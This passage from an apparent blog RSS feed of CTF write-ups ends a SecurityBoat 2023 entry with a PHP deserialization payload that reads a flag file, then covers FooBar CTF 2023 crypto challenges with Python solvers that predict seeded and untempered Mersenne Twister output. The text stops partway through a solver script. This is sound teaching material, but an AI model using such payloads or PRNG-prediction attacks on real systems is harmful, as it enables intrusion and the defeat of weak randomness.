<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">O:20:&#34;GetThemeNameFromFile&#34;:1:{s:8:&#34;filename&#34;;s:10:&#34;/home/flag&#34;;}
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/securityboat-2023/md/dc8bddff-ff2d-4e80-ad5a-7016c0174bcd.webp"></p>
<p>Flag: <code>Flag{__inS3cur3_d3seR14liz47iOn_ftw}</code></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>FooBar CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/foobar-2023/</link>
      <pubDate>Fri, 08 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/foobar-2023/</guid>
      <description>Write-ups for the FooBar CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<p><a href="https://foobar.nitdgplug.org/challenges">https://foobar.nitdgplug.org/challenges</a></p>
<h2 id="crypto">Crypto:</h2>
<h3 id="pixelite-">Pixelite :</h3>
<p>we are given with two files: <code>chall.py</code> and <code>pixelite.png</code></p>
<p>and we are also given this number: 1678519928.9423187</p>
<p>looking at code we know that this code is doing xor of every pixel of flag.png with random int between 0 to 255</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">flag_matrix</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="nb">tuple</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="nb">map</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span> <span class="o">^</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="n">flag_matrix</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span></code></pre></div><p>Here the random module of python can be predicted. If we know the seed value than all the next random int are same every time.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">())</span>
</span></span></code></pre></div><p>The seed is set to time.time() and we are given this value in challenge:
<code>1678519928.9423187</code></p>
<p>know we can easily reverse this xor operation to get original image.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="mf">1678519928.9423187</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">flag_matrix</span> <span class="o">=</span> <span class="p">(</span><span class="n">img</span> <span class="o">:=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">&#39;pixelite.png&#39;</span><span class="p">))</span><span class="o">.</span><span class="n">load</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">w</span><span class="p">,</span> <span class="n">h</span> <span class="o">=</span> <span class="n">img</span><span class="o">.</span><span class="n">size</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">w</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">h</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">flag_matrix</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="nb">tuple</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="nb">map</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="n">x</span> <span class="o">^</span> <span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">255</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">                <span class="n">flag_matrix</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="n">j</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">            <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">img</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">&#39;flag.png&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>flag.png:</p>
<img width="289" alt="image" src="https://user-images.githubusercontent.com/79740895/224524411-1518d6e6-0e4a-452e-bbf7-540b38ac204d.png">
<p><code>GLUG{Y0u_4Re_noT_5o_w34k}</code></p>
<h3 id="funwithrandom-1">funwithrandom-1:</h3>
<p>description: <em>randcrack is fun or is it . let&rsquo;s see if you can create your own</em></p>
<p><em>nc chall.foobar.nitdgplug.org 30001</em></p>
<p>file: <code>chall.py</code></p>
<p>In this code we have <code>rand_gen()</code> function. if mt_index &gt; 624 than it go inside if statement.
else it will do the following operations:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">mt_index</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">43</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">67</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskC</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">69</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">mt_index</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="n">y</span>
</span></span></code></pre></div><p>getstate() Return an object capturing the current internal state of the generator.
and the seed is set through os.urandom(8) which is not predictable.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">random</span><span class="o">.</span><span class="n">seed</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">urandom</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">mt</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">getstate</span><span class="p">()[</span><span class="mi">1</span><span class="p">])</span>
</span></span></code></pre></div><p>here output is filled 624 times with rand_gen() function.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">output</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">624</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">output</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">rand_gen</span><span class="p">())</span>
</span></span></code></pre></div><p>again looking at this code we know that it will do this operations on mt aaray from 0 to 624 index.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">mt_index</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">43</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">67</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskC</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">69</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">mt_index</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">return</span> <span class="n">y</span>
</span></span></code></pre></div><p>and we are given with the output&rsquo;s value so by reversing this operations we can get the value of mt.</p>
<p>with this small trial and error experiment:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="mi">1111121111</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">43</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;y ^= (y &gt;&gt; 43)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;y ^= (y &lt;&lt; 12) &amp; TemperingMaskB&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">67</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskC</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;y ^= (y &lt;&lt; 67) &amp; TemperingMaskC&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">69</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="s2">&#34;y ^= (y &gt;&gt; 69)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">y</span><span class="p">)</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">output:
</span></span><span class="line"><span class="cl">y ^<span class="o">=</span> <span class="o">(</span>y &gt;&gt; 43<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="m">1111121111</span>
</span></span><span class="line"><span class="cl">y ^<span class="o">=</span> <span class="o">(</span>y <span class="s">&lt;&lt; 12) &amp; TemperingMaskB
</span></span></span><span class="line"><span class="cl"><span class="s">1</span><span class="m">736326359</span>
</span></span><span class="line"><span class="cl">y ^<span class="o">=</span> <span class="o">(</span>y <span class="s">&lt;&lt; 67) &amp; TemperingMaskC
</span></span></span><span class="line"><span class="cl"><span class="s">1736</span><span class="m">326359</span>
</span></span><span class="line"><span class="cl">y ^<span class="o">=</span> <span class="o">(</span>y &gt;&gt; 69<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="m">1736326359</span>
</span></span></code></pre></div><p>now we know that only <code>y ^= (y &lt;&lt; 12) &amp; TemperingMaskB</code> this operation is effective rest are not making any changes.</p>
<p>so now we have to reverse this tempering here is python code for that:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">untemper</span><span class="p">(</span><span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">a</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span> <span class="o">=</span> <span class="n">b</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">c</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">e</span> <span class="o">=</span> <span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">e</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">g</span> <span class="o">=</span> <span class="n">f</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">h</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">g</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">=</span> <span class="n">h</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">final</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">i</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">final</span>
</span></span></code></pre></div><p>now from output[] we can get mt[].
but the for loop was run 624 times so next time we call rand_gen() it will go inside if condition.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">kk</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span> <span class="o">-</span> <span class="n">M</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">UPPER_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">LOWER_MASK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="n">M</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">mag01</span><span class="p">[</span><span class="n">y</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">kk</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span> <span class="o">-</span> <span class="n">M</span><span class="p">,</span> <span class="n">N</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">UPPER_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">LOWER_MASK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="p">(</span><span class="n">M</span> <span class="o">-</span> <span class="n">N</span><span class="p">)]</span> <span class="o">^</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">mag01</span><span class="p">[</span><span class="n">y</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">N</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">UPPER_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">LOWER_MASK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">mt</span><span class="p">[</span><span class="n">N</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">M</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">mag01</span><span class="p">[</span><span class="n">y</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">]</span>
</span></span></code></pre></div><p>we will apply the same changes to our recovered mt[].</p>
<p>now we can get the next 5 int by applying this operations to first 5 elements of mt[].</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">mt_index</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">43</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">67</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">TemperingMaskC</span>
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">^=</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">69</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">mt_index</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span></code></pre></div><p>now that we have the next 5 random element we can get the flag.</p>
<p>final python script:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">random</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwnlib.tubes.remote</span> <span class="kn">import</span> <span class="n">remote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">N</span> <span class="o">=</span> <span class="mi">624</span>
</span></span><span class="line"><span class="cl"><span class="n">M</span> <span class="o">=</span> <span class="mi">397</span>
</span></span><span class="line"><span class="cl"><span class="n">MATRIX_A</span> <span class="o">=</span> <span class="mh">0x83a2b0c3</span>
</span></span><span class="line"><span class="cl"><span class="n">UPPER_MASK</span> <span class="o">=</span> <span class="mh">0x80000000</span>
</span></span><span class="line"><span class="cl"><span class="n">LOWER_MASK</span> <span class="o">=</span> <span class="mh">0x7fffffff</span>
</span></span><span class="line"><span class="cl"><span class="n">TemperingMaskB</span> <span class="o">=</span> <span class="mh">0x3f5663d0</span>
</span></span><span class="line"><span class="cl"><span class="n">TemperingMaskC</span> <span class="o">=</span> <span class="mh">0x56e90000</span>
</span></span><span class="line"><span class="cl"><span class="n">mag01</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="n">MATRIX_A</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">untemper</span><span class="p">(</span><span class="n">y</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">y</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">b</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">a</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">c</span> <span class="o">=</span> <span class="n">b</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">d</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">c</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">e</span> <span class="o">=</span> <span class="n">d</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">f</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">e</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">g</span> <span class="o">=</span> <span class="n">f</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">h</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">g</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">i</span> <span class="o">=</span> <span class="n">h</span> <span class="o">&lt;&lt;</span> <span class="mi">12</span>
</span></span><span class="line"><span class="cl">    <span class="n">final</span> <span class="o">=</span> <span class="n">y</span> <span class="o">^</span> <span class="p">(</span><span class="n">i</span> <span class="o">&amp;</span> <span class="n">TemperingMaskB</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">final</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;chall.foobar.nitdgplug.org&#39;</span><span class="p">,</span> <span class="mi">30001</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s2">&#34;Generator</span><span class="se">\n\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">output</span> <span class="o">=</span> <span class="p">[</span><span class="nb">int</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">(</span><span class="n">conn</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">()[</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;,&#39;</span><span class="p">))]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">output</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">    <span class="n">output</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">untemper</span><span class="p">(</span><span class="n">output</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="c1"># print(output)</span>
</span></span><span class="line"><span class="cl"><span class="n">mt</span> <span class="o">=</span> <span class="n">output</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">kk</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span> <span class="o">-</span> <span class="n">M</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">UPPER_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">LOWER_MASK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="n">M</span><span class="p">]</span> <span class="o">^</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">mag01</span><span class="p">[</span><span class="n">y</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">kk</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">N</span> <span class="o">-</span> <span class="n">M</span><span class="p">,</span> <span class="n">N</span> <span class="o">-</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">UPPER_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">LOWER_MASK</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">mt</span><span class="p">[</span><span class="n">kk</span><span class="p">]</span> <span class="o">=</span> <span class="n">mt</span><span class="p">[</span><span class="n">kk</span> <span class="o">+</span> <span class="p">(</span><span class="n">M</span> <span class="o">-</span> <span class="n">N</span><span class="p">)]</span> <span class="o">^</span> <span class="p">(</span><span class="n">y</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">mag01</span><span class="p">[</span><span class="n">y</span> <span class="o">&amp;</span> <span class="mh">0x1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">y</span> <span class="o">=</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="n">N</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">UPPER_MASK</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">mt</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">LOWER_MASK</span><span class="p">)</span>
